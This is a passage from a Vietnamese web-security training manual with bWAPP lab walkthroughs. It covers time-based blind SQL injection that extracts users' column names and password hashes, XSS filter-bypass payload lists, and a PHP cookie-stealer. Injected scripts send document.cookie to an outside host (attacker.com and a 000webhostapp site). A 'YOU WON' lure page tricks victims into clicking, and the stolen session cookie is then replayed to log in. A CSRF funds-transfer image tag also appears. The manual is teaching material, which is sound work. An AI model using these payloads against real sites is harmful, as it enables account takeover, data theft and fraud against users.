Nhận thấy bảng users có khả năng chứa thông tin quan trọng, ta tập trung
thực hiện xây dựng các mệnh đề suy luận để tìm từng ký tự. Miền giá trị cần dò là
a-z, A-Z. Với table_name là tên bảng bạn muốn suy luận và limit 0,1 ta suy
luận các ký tự của cột thứ nhất.

Nhập vào chuỗi:


Iron man’ or if(substring((select column_name from
information_schema.columns where table_name=’users’
limit0,1),1,1)=’a’,SLEEP(5),null)#
=> Web lập tức trả về
Nhập vào chuỗi:
Iron man’ or if(substring((select column_name from
information_schema.columns where table_name=’users’
limit0,1),1,1)=’b’,SLEEP(5),null)#
=> Web lập tức trả về
Tiếp tục mô hình với các ký tự khác, ta xác định chữ cái đầu tiên là “i”

Sau đó tăng vị trí 1 lên 2 để lấy suy luận ký tự thứ hai


Nhập vào chuỗi:
Iron man’ or if(substring((select column_name from
information_schema.columns where table_name=’users’
limit0,1),2,1)=’a’,SLEEP(5),null)#
=> Web lập tức trả về
Nhập vào chuỗi:
Iron man’ or if(substring((select column_name from
information_schema.columns where table_name=’users’
limit0,1),2,1)=’b’,SLEEP(5),null)#
=> Web lập tức trả về
Tiếp tục mô hình với các ký tự khác, ta xác định chữ cái đầu tiên là “d”
=> Vậy ta xác định được tên cột thứ nhất của bảng users là “id”
Tương tự thao tác trên, ta suy luận được các cột của users: “id, login, email,
password”
Bước 8: Thu thập dữ liệu quan trọng (Dump column)
Ta thực hiện xây dựng các mệnh đề suy luận để tìm từng ký tự. Miền giá trị
cần dò là a-z, A-Z, 0-9. Với limit 0,1 ta suy luận các ký tự dữ liệu của cột thứ
nhất.

Nhập vào chuỗi: Iron man’ or if(substring((select id from


users limit 0,1),1,1)=’1’,SLEEP(5),null)#
=> Web trả về sau 5 giây
Nhập vào chuỗi: Iron man’ or if(substring((select id from
users limit 0,1),2,1)=’2’,SLEEP(5),null)#
=> Web trả về sau 5 giây
Nhập vào chuỗi: Iron man’ or if(substring((select id from
users limit 0,1),3,1)=’1’,SLEEP(5),null)#

40
=> Web lập tức trả về
=> Vậy ta xác định được tại cột id có các id là 1 và 2.
Tương tự thao tác trên, ta suy luận được dữ liệu tại cột id, password của
bảng users:
Id: 1, password: 688585486f31043e5839c735d99457f045afd0
Id: 2, password: 688585486f31043e5839c735d99457f045afd0
Tương tự thao tác trên, ta có thể suy luận được dữ liệu các cột của bảng còn
lại của bảng.

41
CHƯƠNG 2. KỸ THUẬT TẤN CÔNG XSS

2.1. Tấn công XSS


2.1.1. Xác định lỗi XSS
Mô tả
Lỗi XSS rất phổ biến trong các ứng dụng web, xuất hiện khi ứng dụng nhận
kèm dữ liệu đầu vào từ người dùng qua trang web, rồi gửi đến người khác mà
không thông qua kiểm tra và xử lý. Kẻ tấn công chèn vào các website động (ASP,
PHP, CGI, JSP ...) những thẻ HTML hay những đoạn mã script nguy hiểm có thể
gây nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy hiểm
đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript,
JScript, DHTML và cũng có thể là cả các thẻ HTML. Từ đó, kẻ tấn công có thể
thực thi được script trên trình duyệt của nạn nhân để ăn cắp hay giả mạo phiên làm
việc, thêm vào nội dung xấu, chuyển kết nối, tấn công trình duyệt bằng phần mềm
độc hại.
Phương pháp
Tiến hành kiểm tra lỗi XSS với những điểm vào dự đoán từ trước. Thử
truyền dữ liệu vào điểm vào ứng dụng, quan sát thông tin trả về để xem có mã nào
gửi đi mà có xuất hiện trở lại. Nếu như có xuất hiện trong phần body thì kiểm tra
lỗi liên quan đến Reflected XSS. Nếu xuất hiện lại trong phần header thì kiểm tra
các lỗi liên quan đến HTTP Header Injection
Trường hợp trong phần body xuất hiện giá trị mà đã gửi lên trong yêu cầu thì
thử xem có thể thực thi được JavaScript bằng cách chèn các thẻ <script></script>.
Thử gửi lên một vài mã tấn công có nội dung khai thác lỗi XSS và quan sát
sự phản hồi từ ứng dụng để xác định ứng dụng có áp dụng các phương thức lọc
như thế nào và khả năng vượt qua.
Nếu như ứng dụng chặn nội dung liên quan đến các thẻ script thì thực hiện
HTML- encoding để thử xem có lọc trường hợp này hay không.
Quan sát các điểm mà ứng dụng lưu trữ dữ liệu liên quan đến tài khoản
người dùng. Ví dụ như: phần comment, lưu thông tin như đổi tên thành viên, chữ
ký... Nếu như việc lưu trữ mà không thực hiện lọc thì có thể thực hiện tấn công
Store XSS.

42
Nếu như ứng dụng có lưu trữ dữ liệu do người dùng nhập vào và sử dụng kết
quả hiển thị cho những lần sau thì thực hiện gửi các mã tấn công liên quan đến
XSS để xem ứng dụng có bị tấn công Store XSS hay không.
Các công cụ có thể phát hiện XSS một cách tự động. Tuy nhiên, mỗi ứng
dụng xây dựng khác nhau và sử dụng những nền tảng khác nhau như Javascript,
ActiveX, Flash và Sliverlight, làm cho việc phát hiện lỗi khó khắn hơn. Cho nên,
để đảm bảo đòi hỏi sự kết hợp giữa kiểm tra mã nguồn, kiểm chứng lại bằng tay
bên cạnh những cách thức tự động.
Các bước để thực hiện xác định lỗi XSS:
Bước 1 : Mở website cần kiểm tra ( cái này tất nhiên rồi )
Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi
thông tin đi (nhập thông tin và nhấn submit hay login hay ok gì đó ) , ví dụ nhập
chữ "XSS" chẳng hạn hay chữ gì cũng được .
Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách xem
thông tin trả về:
Ví dụ thấy như thế này :
· "Your search for 'XSS' did not find any items"
· "Your search for 'XSS' returned the following results"
· "User 'XSS' is not valid"
· "Invalid login 'XSS'"
Hoặc là cái đó mà có dính tới chữ "XSS" mà nhập vào ban đầu thì 99%
"Alert" này bị XSS
Còn vài hình thức nữa:
Chú ý các ô input hay các biến ngay trên thanh address ( var= ) thấy mấy cái
này thì nhập dữ liệu vào . Hãy thử với những script này :
< script>alert('XSS')< /script>
<i*g csstest=javascript:alert('XSS')>
&{alert('XSS')};
Bước 4 : Chèn code thực sự vào nơi bị lỗi :
Chèn < script>alert('XSS')< /script> vào ô ban nãy và nhấn SUBMIT .
Nếu sau đó nhận được 1 popup có chữ "XSS" thì "Alert" này 100% bị dính
XSS . Nhưng xin chú ý , thỉnh thoảng vẫn có trường hợp website đó bị dính
XSS nhưng vẫn không xuất hiện cái popup thì buộc lòng phải VIEW SOURCES
(xem mã nguồn) nó ra để xem . Khi view sources nhớ kiểm tra dòng này <
script>alert('XSS')< /script>, nếu có thì hết chạy , XSS đây rồi .
43
Vượt qua cơ chế XSS:
Trong một số trường hợp, dữ liệu trả về xuất hiện trong phần Attribute
Value:
<input type="text" name="state" value="INPUT_FROM_USER">
Có thể sử dụng mã tấn công sau:
" onfocus="alert(document.cookie)
Trường hợp có sử dụng lọc, sử dụng cú pháp khác hoặc cơ chế encoding
như:
"%3cscript%3ealert(document.cookie)%3c/script%3e
"><ScRiPt>alert(document.cookie)</ScRiPt>
"><script >alert(document.cookie)</script >
Một số trường hợp lọc mà không sử dụng cơ chế đệ quy, ví dụ như lọc từ
khóa:
<script> nhưng chỉ lọc một lần ( không kiểm tra lại sau khi lọc) thì sử dụng:
<scr<script>ipt>alert(document.cookie)</script>
Sử dụng script từ nguồn bên ngoài:
<script src="http://attacker.com/xss.js"></script>
http://www.example.com/?var=<SCRIPT%20a=">"%20SRC="http://www.a
tt acker.com/xss.js"></SCRIPT>
Một số đoạn mã giúp vượt qua cơ chế lọc:
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
<<SCRIPT>alert("XSS");//<</SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
\";alert('XSS');//
<INPUT TYPE="IMAGE "SRC="javascript:alert('XSS');">
<IMG SRC='vbscript:msgbox("XSS")'>
<IFRAMESRC="javascript:alert('XSS');"></IFRAME>

44
2.1.2. Các bước thực hiện khai thác lỗi XSS
Khác với các lỗi khác là gây hại trực tiếp lên hệ thống chứa web site, còn
XSS lại không gây hại đến hệ thống của sever mà đối tượng tấn công chủ yếu của
XSS lại là người dùng.
Ứng dụng Web thường lưu trữ thông tin quan trọng ở cookie. Cookie là mẩu
thông tin mà ứng dụng lưu trên đĩa cứng của người sử dụng. Nhưng chỉ ứng dụng
thiết lập ra cookie thì mới có thể đọc nó. Do đó chỉ khi người dùng đang trong
phiên làm việc của ứng dụng thì hacker mới có cơ hội đánh cắp cookie. Công
việc đầu tiên của hacker là tìm trang đích để dụ người dùng đăng nhập sau khi đã
tìm ra lỗ hổng trên ứng dụng đó.

Sau đây là các bước thực hiện khai thác lỗi XSS:

Hình 2.1 Các bước thực hiện khai thác lỗi XSS

Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có
lỗ hỏng XSS.
Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính
trang Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker
tạo ra…). Thông thường hacker khiến người dùng chú ý bằng những câu kích thích
sự tò mò của người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn
đang chờ ”…

45
Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy
chủ của hacker.
Bước 4: Hacker tạo một chương trình cgi hoặc một trang Web để ghi nhận
những thông tin đã đánh cắp vào 1 tập tin.
Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để
thâm nhập vào tài khoản của người dùng.
Kỹ thuật lấy Cookie
Bước 1: Tạo file đánh cắp cookie có tên là get.php với nội dung:

<?php
if(isset($_GET['cookie']))
{
$cookie = $_GET['cookie'];
// Mở file cookie.txt, tham số a nghĩa là file này mở chỉ để
write chứ không scan hay read
$f=fopen('cookie.txt','a');
// Ta write địa chỉ trang web mà ở trang đó bị ta chèn script.
fwrite($f,$_SERVER['HTTP_REFERER']);
// Ghi giá trị cookie
fwrite($f,". Cookie la: ".$cookie." \n");
// Đóng file lại
fclose($f);
}
?>

File này có nhiệm vụ đánh cắp cookie của victim và ghi thông tin vào file
logs.txt
Bước 2: Up các file lên host đã dựng
UP lên host 2 file get.php và get.txt. Trong đó file get.php có nội dung như
trên và file get.txt là file rỗng để lưu trữ toàn bộ thông tin của victim được gửi về
thông qua mệnh lệnh được đưa ra từ file get.php. Lưu ý, phải chmod file get.txt về
777
Bước 3: Khai thác lỗ hổng XSS
Giả sử up 2 file lên host của site http://tenwebsite thì đoạn mã script ăn cắp
cookies có dạng như sau:
<script>
location.href ‘http://tenwebsite/getcookie.php?cookie=’+document.cookie;
</script>
Chèn đọa mã vào site dính lỗi XSS là http://victim.com ta được link tương
tự như sau:

46
http://www.victim.com/index.php?search=<script>
location.href = ‘http://tenwebsite/getcookie.php?cookie=’+document.cookie;
</script>
Trong nội dung comment ta sẽ viết một đoạn script và nên đặt cuối comment
để tránh bị phát hiện. Ở đây ta sử dụng một iframe có chiều cao và chiều rộng bằng
0, border bằng 0, src của nó dẫn tới trang web của Hacker, trang web này có tác
dụng lấy cookie của người dùng nếu người dùng đã đăng nhập
<script>
document.write("<iframe
src='http://tenwebsite/getcookie.php?cookie="+document.cookie+"'
height='0' width='0'
frameborder='0'></iframe>");
</script>

2.2. Bộ bài hướng dẫn các tấn công XSS


2.2.1. Thực hành tấn công XSS phản xạ sử dụng phương thức GET mức độ dễ
Sau khi đăng nhập vào bWAPP chọn đến bài XSS - Reflected (GET)

Hình 2.2 Chọn bài XSS - Reflected (GET)

Chọn level low

Hình 2.3 Chọn level low trong bài XSS - Reflected (GET)

47
Như phần lý thuyết đã nêu ở chương I, XSS- Reflected chỉ ảnh hưởng phía
client. XSS - Reflected (GET) sử dụng phương thức GET, tức là khi nhập dữ liệu
gửi từ phía client lên server thì URL sẽ kèm theo dữ liệu.
Xác định lỗi XSS
Bước 1: Xác định những vị trí có khả năng xảy ra lỗi XSS

Hình 2.4 Giao diện thực hành tấn công XSS - Reflected (GET) mức độ dễ

Có 2 ô là First name và Last name cho phép truyền dữ liệu vào. Thử nhập dữ
liệu vào và xem kết quả hiển thị.

Hình 2.5 Kết quả trả về khi nhập dữ liệu vào 2 ô Fist name và Last name trong bài
XSS - Reflected (GET) mức độ dễ

Kết quả trả về hiển thị ‘ Welcome Nguyen Van A’. Từ đó có thể xác định có
khả năng bị dính lỗi XSS
Do là hoạt động theo phương thức GET nên có thể thấy dữ liệu được truyền
đi kèm theo URL

48
Hình 2.6 Phương thức GET được sử dụng trong bài XSS - Reflected (GET) mức độ
dễ

Bước 2: Kiểm tra lỗi XSS


Sau khi đã xác định được vị trí có khả năng mắc lỗi XSS, tiến hành kiểm tra
bằng cách thử truyền vào 1 đoạn mã java script <script>alert("XSS")</script> để
thực hiện tạo 1 popup thông báo để kiểm tra xem site có bị lỗi XSS hay không?

Hình 2.7 Kết quả kiểm tra lỗi XSS trong bài thực hành XSS - Reflected (GET) mức
độ dễ

Nếu kết quả trả về như hình trên thì khẳng định đã bị dính lỗi XSS.
Khai thác lỗi XSS
Kỹ thuật lấy cookie (Trình bày trong phần 2.1.2)
Sau khi tạo 2 file get.php và get.txt hacker upload lên host của mình. Trong
bài thực hành này sẽ dùng web hosting free https://www.000webhost.com/. Sau
khi đăng ký host ví dụ ở đây : https://bokhoaday.000webhostapp.com/

49
Hình 2.8 Up 2 file get.php và get.txt thành công lên host

Đoạn mã script ăn cắp cookies có dạng như sau:


<script>window.open("https://bokhoaday.000webhostapp.com/get.php?
cookie="+document.cookie)</script>
Chèn đoạn mã vào site như sau:
http://192.168.0.101:8080/bwapp/xss_get.php?firstname=<script>window.o
pen("https://bokhoaday.000webhostapp.com/get.php?cookie="+document.co
okie)</script>&lastname=A&form=submit
Tạo 1 file html trong đó có chưa đường link trên.

<html>
<head>
<title>Lottery</title>
</head>
<body>
<h1 align="center">CONGRATULATIONS!!!</h1>
<h1 align="center">YOU WON!!!</h1>
Click this <a
href="http://192.168.0.101:8080/bwapp/xss_get.php?firstname=<scr
ipt>window.open("https://bokhoaday.000webhostapp.com/get.php?coo
kie="+document.cookie)</script>&lastname=A&form=submit">link</a>
to see your prize
</body>
</html>

Gửi file vừa tạo cho người dùng để lừa người dùng click vào.

50
Hình 2.9 File html đánh lừa người dùng kick vào

Sau khi người dùng click vào cookie sẽ được gửi về file get.txt của hacker.

Hình 2.10 Cookie sau khi lấy được của người dùng

Bây giờ mở 1 trình duyệt mới lên và dùng cookie lấy được đăng nhập thông
qua 1 tiện ích trên trình duyệt Chrome: EditThisCookie

Hình 2.11 Sử dụng cookie lấy được để đăng nhập

51
Add đoạn cookie đã lấy được vào sau đó reload lại trang login

Hình 2.12 Đăng nhập thành công nhờ sử dụng cookie lấy được của người dùng

Đã đăng nhập thành công mà không cần biết user và password của người
dùng.
2.2.2. Thực hành tấn công XSS phản xạ sử dụng phương thức GET mức độ trung
bình
Chọn bài XSS - Reflected (GET) level medium

Hình 2.13 Chọn level medium trong bài XSS - Reflected (GET)

Xác định lỗi XSS


Làm tương tự như ở mức độ dễ, nhưng khi truyền 1 đoạn mã java script
<script>alert("XSS")</script> để thực hiện tạo 1 popup thông báo để kiểm tra
xem site có bị lỗi XSS hay không?

52
Hình 2.14 Truyền dữ liệu vào 2 ô Fist name và Lastname trong bài XSS - Reflected
(GET) mức độ trung bình

‘Ctrl + U’ tìm đến đoạn java script vừa nhập vào

Hình 2.15 Xem mã nguồn dữ liệu sau khi nhập vào trong bài XSS - Reflected
(GET) mức độ trung bình

Đoạn java script không được thực hiện do cơ chế lọc kí tự. Bây giờ thử 1 số
cách đã được nêu trong phần 2.1.1. Khi thực hiện truyền 1 đoạn java script
<script>alert(String.fromCharCode(88, 83, 83))</script> thu được kết quả:

Hình 2.16 Kết quả xác định lỗi XSS thành công trong bài XSS - Reflected (GET)
mức độ trung bình

Từ đó khẳng định được site đã bị dính lỗi XSS


Khai thác lỗi XSS

53
Các bước thực hiện tương tự như bài thực hành 4.1
2.2.3. Thực hành tấn công XSS phản xạ sử dụng phương thức POST mức độ dễ
Sau khi đăng nhập vào bWAPP chọn đến bài XSS - Reflected (POST)

Hình 2.17 Chọn bài XSS - Reflected (POST)

Chọn level low

Hình 2.18 Chọn level low trong bài XSS - Reflected (POST)

Tương tự như bài 4.1 ở đây chỉ khác là site sử dụng phương thức POST.Khi
truyền dữ liệu gửi từ client lên server thì dữ liệu sẽ không truyền kèm theo URL,
phải bắt qua proxy hoặc capture gói tin qua wireshark,….mới thấy được.

54
Hình 2.19 Kết quả kiểm tra thành công lỗi XSS trong bài XSS - Reflected (POST)
mức độ dễ

Dữ liệu được thấy khi bắt qua proxy Burp Suite

Hình 2.20 Dữ liệu bắt được qua proxy trong bài XSS - Reflected (POST) mức độ
dễ

Dữ liệu bắt qua proxy:


firstname=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&lastnam
e=A đã bị HTML Encode, giờ chỉ cần lên những trang Decode HTML là có thể
thấy được dữ liệu cụ thể khi truyền vào như hình bên dưới:

55
Hình 2.21 Sử dụng HTML Encode

Kiểm tra lỗi XSS và khai thác lỗi XSS làm tương tự như bài 4.1
2.2.4. Thực hành tấn công XSS phản xạ sử dụng phương thức POST mức trung
bình
Chọn bài XSS - Reflected (POST) level medium

Hình 2.22 Chọn level medium trong bài XSS - Reflected (POST)

Kiểm tra lỗi XSS: làm tương tự như bài thực hành 4.2
Khai thác lỗi XSS: làm tương tự như bài thực hành 4.1

56
2.2.5. Thực hành tấn công XSS phản xạ sử dụng chuỗi JSON mức dễ
Chọn bài XSS - Reflected (JSON)

Hình 2.23 Chọn bài XSS - Reflected (JSON)

Chọn level low

Hình 2.24 Chọn level low trong bài XSS - Reflected (JSON)

Xác định lỗi XSS


Bước 1: Xác định những vị trí có khả năng xảy ra lỗi XSS

Hình 2.25 Giao diện thực hành tấn công XSS - Reflected (JSON)

Có 1 ô search cho tìm kiếm dữ liệu. Thử nhập dữ liệu vào tìm kiếm xem kết
quả trả về:

57
Hình 2.26 Nhập dữ liệu vào ô search trong bài XSS - Reflected (JSON) mức độ dễ

Kết quả trả về Ironman??? Sorry, we don't have that movie :( có chữ
Ironman lúc nhập vào, như đã trình bày trong chương 2 phần 2.2.1 thì site có khả
năng bị dính lỗi ở ô ‘Search’
Bước 2: Kiểm tra lỗi XSS
Sau khi đã xác định được vị trí có khả năng mắc lỗi XSS, tiến hành kiểm tra
bằng cách thử truyền vào 1 đoạn mã java script <script>alert("XSS")</script> để
thực hiện tạo 1 popup thông báo để kiểm tra xem site có bị lỗi XSS hay không?
Không giống như bài 4.1 ở đây kết quả trả về hiển thị như sau:

Hình 2.27 Kết quả trả về khi nhập 1 đoạn java script trong bài XSS - Reflected
(JSON) mức độ dễ

Giờ nhập 1 đoạn kí tự ví dụ: abc rồi ‘Ctrl + U’ xem mã nguồn và tim đến
đoạn abc vừa nhập vào

<script>
var JSONResponseString = '{"movies":[{"response":"abc???
Sorry, we don&#039;t have that movie :("}]}';

// var JSONResponse = eval ("(" + JSONResponseString +


")");
var JSONResponse = JSON.parse(JSONResponseString);

document.getElementById("result").innerHTML=JSONResponse.movies[
0].response;

</script>

58
Lý do đoạn java script truyền vào không được thực hiện là do nó đã nằm
trong 1 đoạn mã java cript có sẵn của site đó. Để ý kĩ thấy được để đóng chuỗi var
JSONResponseString dùng chuỗi kí tự "}]}';
Bây giờ thử đóng chuỗi var JSONResponseString và thêm
alert('XSS')</script> để kết thúc 1 đoạn java script. Đoạn java script mới sẽ được
hình thành:

<script>

var JSONResponseString = '{"movies":[{"response":"abc???


Sorry, we don&#039;t have that movie
:("}]}';alert('XSS')</script>

Hay nói cách khác sẽ thêm đoạn "}]}';alert('XSS')</script> vào phần


“search for a movie” thu được kết quả như sau:

Hình 2.28 Kết quả kiểm tra lỗi XSS trong bài XSS - Reflected (JSON) mức độ dễ
Từ đó khẳng định site đã bị dính lỗi XSS
Khai thác lỗi XSS
Làm tương tự như bài 4.1
2.2.6. Thực hành tấn công XSS phản xạ sử dụng thuộc tính HREF mực độ dễ
Chọn bài XSS - Reflected (HREF)

59
Hình 2.29 Chọn bài XSS - Reflected (HREF)

Chọn level low

Hình 2.30 Chọn level low trong bài XSS - Reflected (HREF)

Xác định lỗi XSS


Bước 1: Xác định những vị trí có khả năng xảy ra lỗi XSS

Hình 2.31 Giao diện thực hành tấn công trong bài XSS - Reflected (HREF) mức độ
dễ

Có 1 ô nhập dữ liệu, thử nhập dữ liệu và xem kết quả trả về

60
Hình 2.32 Kết quả trả về khi nhập dữ liệu trong bài XSS - Reflected (HREF) mức
độ dễ

Kết quả trả về ‘Hello Ironman, please vote for your favorite movie’. có chữ
Ironman lúc nhập vào, như đã trình bày trong chương 2 phần 2.2.1 thì site có khả
năng bị dính lỗi ở ô ‘Continue’
Bước 2: Kiểm tra lỗi XSS
Sau khi đã xác định được vị trí có khả năng mắc lỗi XSS, tiến hành kiểm tra
bằng cách thử truyền vào 1 đoạn mã java script <script>alert("XSS")</script> để
thực hiện tạo 1 popup thông báo để kiểm tra xem site có bị lỗi XSS hay không?
Không giống như bài 4.1 ở đây kết quả trả về hiển thị như sau:

Hình 2.33 Kết quả trả về khi nhập 1 đoạn java script trong bài XSS - Reflected
(HREF) mức độ dễ

Ctrl + U’ xem mã nguồn và tim đến đoạn <script>alert("XSS")</script>

61
Rõ ràng đoạn java script đã được truyền vào nhưng không được thực thi, lý
do nó vẫn nằm trong 1 thẻ html ‘<a> </a>’. Để có thể thực thi đoạn java script đó,
thì phải đóng thẻ html ‘<a> </a>’ lại, và truyền vào đó đoạn java script để thực
thi. Để đóng lại dùng kí tự ‘'>’ sau đó truyền đoạn java script vào như sau:
'><script>alert('XSS')</script>

Hình 2.34 Kết quả kiểm tra lỗi XSS trong bài XSS - Reflected (HREF) mức độ dễ

Từ đó khẳng định site đã bị dính lỗi XSS


Khai thác lỗi XSS
Làm tương tự như bài 4.1
2.2.7. Thực hành tấn công XSS phản xạ sử dụng hàm EVAL mức độ dễ
Chọn bài XSS - Reflected (Eval)

62
Hình 2.35 Chọn bài XSS - Reflected (Eval)

Chọn level low

Hình 2.36 Chọn level low trong bài XSS - Reflected (Eval)
Xác định lỗi XSS
Bước 1: Xác định những vị trí có khả năng xảy ra lỗi XSS
Không giống như những bài thực hành trước, ở đây khi truy cập vào site
thấy được nội dung hiển thị :

Hình 2.37 Giao diện thực hành tấn công trong bài XSS - Reflected (Eval) mức độ
dễ

‘Ctrl + U’ xem mã nguồn, tìm đến phần có ‘The current date on your
computer is:’

63
Để ý hàm đoạn java script:

<script>

eval("document.write(Date())");

</script>

Hàm eval trong JavaScript dùng để biến chuỗi thành biểu thức tính toán
được hoặc mã lệnh trong JavaScript. Ở đây hàm eval lấy giá trị Date() và hiển thị
ra màn hình. Giá trị Date() ở đây chính là hiện thị ngày hiện tại trên máy client.
Lưu ý thêm ở đây được thực hiện theo phương thức GET

Hình 2.38 Phương thức GET sử dụng trong bài XSS - Reflected (Eval) mức độ dễ

Từ đó khả năng xảy bị dính lỗi XSS ở hàm Eval


Bước 2: Kiểm tra lỗi XSS
Thay vì muốn hiển thị giá trị Date(), thử 1 hiện popup XSS bằng cách thay
giá trị Date() bằng alert('XSS')

64
Hình 2.39 Kết quả kiểm tra lỗi XSS trong bài XSS - Reflected (Eval) mức độ dễ

Từ đó khẳng định site đã bị dính lỗi XSS


Khai thác lỗi XSS
Làm tương tự như bài 4.1
2.2.8. Thực hành tấn công XSS lưu trữ dạng Blog mức độ dễ
Chọn bài XSS - Stored (Blog)

Hình 2.40 Chọn bài XSS - Stored (Blog)


Chọn level low

Hình 2.41 Chọn level low trong bài XSS - Stored (Blog)

65
Như lý thuyết đã trình bày trong chương I Stored - XSS là lỗi XSS mà đoạn
mã chèn thêm vào được lưu trữ trên server, như trong CSDL dưới dạng các
comment trong blog, message trong forum hoặc các visitor log
Xác định lỗi XSS
Bước 1: Xác định những vị trí có khả năng xảy ra lỗi XSS

Hình 2.42 Giao diện thực hành tấn công trong bài XSS - Stored (Blog) mức độ dễ
Giờ thử nhập dữ liệu gửi lên server, xem kết quả hiển thị

Hình 2.43 Kết quả trả về khi nhập dữ liệu gửi lên server trong bài XSS - Stored
(Blog) mức độ dễ

Từ đó có thể xác định khả năng bị dính lỗi XSS ở ô ‘Submit’


Bước 2: Kiểm tra lỗi XSS
Sau khi đã xác định được vị trí có khả năng mắc lỗi XSS, tiến hành kiểm tra
bằng cách thử truyền vào 1 đoạn mã java script <script>alert("XSS")</script> để
thực hiện tạo 1 popup thông báo để kiểm tra xem site có bị lỗi XSS hay không?

66
Hình 2.44 Kết quả kiểm tra lỗi XSS trong bài XSS - Stored (Blog) mức độ dễ
Từ đó khẳng định site bị dính lỗi XSS
Khai thác lỗi XSS
Kỹ thuật lấy cookie (Trình bày trong phần 2.1.2)
Tương tự như bài 4.1, chỉ khác ở chỗ đoạn java cript có nhiệm cụ đánh cắp
cookie của người dùng sẽ được lưu trữ trên server. Ở đây sau khi chèn đoạn mã
java script gửi lên server.
<script>window.open("https://bokhoaday.000webhostapp.com/get.php?
cookie="+document.cookie)</script>
Đoạn java script đã được thực hiện. Từ bây giờ khi mỗi người dùng truy cập
đến trang XSS - Stored (Blog) thì đoạn mã java script sẽ được thực thi để lấy
cookie của người dùng gửi về file get.txt trên host của hacker đã dựng sẵn.
Ở đây ví dụ đăng nhập bằng 1 tài khoản khác và truy cập đến XSS - Stored
(Blog), thì tự động cookie của user đó sẽ được gửi về cho hacker. Từ cookie có
được đó mà hacker sẽ đăng nhập được vào tài khoản của người dùng mà cần biết
User và password.
Ví dụ: logout tài khoản hiện tại

67
Đăng nhập với 1 tài khoản khác

Truy cập đến XSS - Stored (Blog) thì tự động đoạn mã java script được lưu
trữ trên server được thực thi.

Hình 2.45 Kết quả đoạn java script được thực thi trong bài XSS - Stored (Blog)
mức độ dễ

Từ cookie lấy được hacker sử dụng cookie đó để đăng nhập mà cần biết user
và password của người dùng.

68
CHƯƠNG 3. KỸ THUẬT TẤN CÔNG CSRF

3.1. Cross-site Request Forgery


3.1.1. Xác định lỗi CSRF
Mô tả
CSRF (Cross-site request forgery) là phương pháp mượn quyền của người
dùng khác để thực hiện một hành động không cho phép. Kẻ tấn công có thể giả
mạo một yêu cầu và lừa nạn nhân gửi chúng đi qua các thẻ hình ảnh, XSS, hoặc rất
nhiều kỹ thuật khác. Nếu người dùng đã được xác thực, việc tấn công sẽ thành
công. Kẻ tấn công có thể khiến nạn nhân thay đổi dữ liệu mà nạn nhân được phép
thay đổi hoặc thực thi những chức năng mà nạn nhân được phép thực thi.
Phương pháp
Tiến hành kiểm tra tại những chức năng quan trọng, điểm vào dự đoán có
khả năng mắc lỗi CSRF. Nếu như ứng dụng chỉ dựa vào mỗi HTTP cookies thì
ứng có nguy cơ mắc lỗi CSRF. Xem xét mỗi đường liên kết hay form có sử dụng
token hay không. Nếu không sử dụng, kẻ tấn công có thể giả mạo yêu cầu.
Quan sát các chức năng cốt lõi của ứng dụng và xác định các yêu cầu thực
hiện đối với các dữ liệu nhạy cảm, nếu như mà kẻ tấn công có thể xác định được
toàn bộ tham số đối với các yêu cầu (cho dù không thể xác định HTTP cookies) thì
ứng dụng vẫn mắc lỗi CSRF.
Tạo ra trang HTML mà thực hiện những yêu cầu mong muốn mà không có
sự tương tác về người dùng. Đối với các yêu cầu sử dụng GET thì có thể sử dụng
thẻ <img> với tham số src=”chứa liên kết”. Nếu như yêu cầu là POST có thể tạo ra
những trường ẩn để chứa tham số và có thể sử dụng Javascript để thực hiện tự
động gửi form ngay sau khi trang được nạp.
Ví dụ tình huống
Ứng dụng cho phép người dùng gửi đi yêu cầu chuyển tiền mà không sử
dụng token như:
http://example.com/app/transferFunds?amount=1500&destinationAccount=467324
3243
Từ đó, kẻ tấn công có thể tạo ra những yêu cầu chuyển từ tài khoản nạn nhân
đến tài khoản của mình và đính kèm những yêu cầu này trong thẻ hình ảnh hoặc
iframe rồi đưa chúng lên những website mà kẻ tấn công điều khiển:

69
<img
src="http://example.com/app/transferFunds?amount=1500&destinationAccoun=att
ackersAcct#“ width="0" height="0" />
Nếu nạn nhân truy cập vào bất cứ trang web nào trong khi đang có phiên làm
việc tại example.com thì yêu cầu giả mạo này sẽ được thực thi thành công.
3.1.2. Các bước thực hiện khai thác lỗi CSRF
Cross-site request forgery (CSRF) đánh lừa nạn nhân load một page mà nó
có chứa những request độc hại. Sự Request độc hại này có ý nghĩa là những
request được thừa kế định danh và quyền hạn của nạn nhân nhằm mục đích thực
thi một số chức năng(function). Những chức năng(function) này được nhân danh
nạn nhân
Ở một số Site, browsers có những request liên kết trực tiếp với site, như là
user’s session cookie, basic authen credentials, IP address, Windows domain
credentials, etc. Vì thế, nếu người dùng đã được xác thực ở tại một thời điểm nhất
định thì site sẽ không xác định hay phân biệt được đâu là request của người dùng
hợp lệ
Ở một số trường hợp, CSRF có thể được lưu trữ (tồn tại) sẵn trong một số
trang website bị lỗi. Những lỗi đó được gọi là stored CSRF flaws. Nó có thể tồn tại
trong những thẻ <IMG> hay <IFRAME> trong một trang HTML hay là một số
kiểu tấn công cross-site scripting attack. Nếu tấn công CSRF là có sẵn trong site thì
tính nghiêm trọng được tăng thêm gấp nhiều lần.

Sau đây là các bước thực hiện khai thác lỗi CSRF

70
Hình 3.1 Các bước thực hiện khai thác lỗi CSRF

Bước 1:Đầu tiên, người dùng phải đăng nhập vào trang mình cần (Tạm gọi
là trang A).
